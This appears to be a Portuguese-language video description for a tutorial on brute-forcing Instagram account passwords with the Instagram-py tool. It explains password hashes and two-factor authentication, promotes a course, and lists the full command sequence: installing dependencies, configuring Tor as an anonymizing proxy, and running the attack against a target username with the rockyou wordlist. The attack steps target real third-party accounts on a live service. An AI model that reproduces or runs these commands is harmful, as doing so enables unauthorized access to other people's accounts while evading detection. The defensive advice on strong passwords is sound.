Рет қаралды 31,568
Ataque de força bruta com uso do script Instagram-py, abaixo terá todos os comandos utilizados.
Detalhe e Complemento - Se proteja e entenda as coisas:
Pessoal, vamos tomar conta das suas contas com uma senha mais forte ?
Corriqueiramente ocorre vazamento do banco de dados, as hashes das senhas passam a ser de conhecimento "geral", com isso diversas pessoas podem chegar a sua senha. Como a hash não é exatamente uma criptografia, quebrá-las só é possível via brute force, ou seja, tentativa e erro.
Você teria que ir codificando as senhas em hash e criar um "banco de dados" / wordlist que contenha qual a hash de cada uma dessas senhas. Esses sites que quebram hashes funcionam dessa maneira, quando a hash não está na wordlist deles, eles não conseguem dizer qual a senha por trás dela... portanto, se a codificação da sua senha é facilmente quebrada por essas ferramentas, significa que sua senha não é segura ao vazar qualquer pessoa poderá descodificá-la sem precisar ter te atacado diretamente. Logo, o brute force para entrar em uma conta não necessariamente segue essa força bruta direta de senhas na plataforma.
Quanto mais complexa a senha, mais difícil será tanto para sua senha cair em uma wordlist criada a partir de combinações de caracteres na criação de uma wordlist para brute force padrão, quanto seria mais difícil de alguém colocá-la em alguma lista de hashes já quebradas.
A autenticação de dois fatores te salva nesses quesitos, pois apenas ter a sua senha não garantirá acesso a sua conta. Porém, também não é algo que garanta sua segurança 100%, já que ao conseguir capturar seu token de acesso (aquele usado pelo seu navegador para te fazer logar automaticamente) sua conta será invadida sem precisar de login - por isso cuidado não apenas com a senha, mas com o que baixa também.
*Recado aos interessados em aprender e programar*
Aos entusiastas de programação e desenvolvimento, recomendo um curso de Full Stack da Danki Code, tem um EBOOK GRATUITO que te guiará do ZERO ao avançado, também tendo o curso completo com desconto e será apresentado a você logo após garantir o ebook pelo email. Tudo isso será possível através do link abaixo:
hotm.art/ebook...
Para maios infos: matheuslaidler...
*Faça você mesmo em seu SecLab*
Distro: Kali Linux (Use qualquer uma)
** Commands / / Comandos **
sudo apt update && sudo apt upgrade
sudo su
apt install python3-pip
apt install python-setuptools-*
pip3 install requests --upgrade
pip3 install -U request[socks]
pip3 install stem
pip3 install instagram-py (Para ajuda: instagram-py -h)
instagram-py --create-configuration
apt install tor
apt install gedit
gedit /etc/tor/torrc /(apagar o # do ControlPort XXXX - delete -; # )*importante*
service tor start/ ( + verificar se ta ativo : service tor status)
instagram-py -u USERNAME -pl WORDLIST
/(pode arrastar o arquivo pro terminal, ficando mais ou menos assim : '/usr/share/wordlists/rockyou.txt')
Qualquer coisa tente copiar o instagram-py pro binario do sistema, veja onde ele está com o "whereis" e copie com o "cp" para o "/usr/bin" e dps vai ser possível usar o programa como root de qualquer lugar do sistema. (não testado)
Meus artigos: matheuslaidler...
Meu github: github.com/mat...
Siga para mais conteúdos sobre hacking, tecnologia, cybersecurity, brute force, segurança da informação e muito mais.
#hacking
#cybersecurity
#bruteforce